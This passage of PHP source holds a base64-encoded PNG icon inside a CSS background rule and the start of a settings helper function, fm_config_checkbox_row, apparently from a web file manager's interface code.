url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '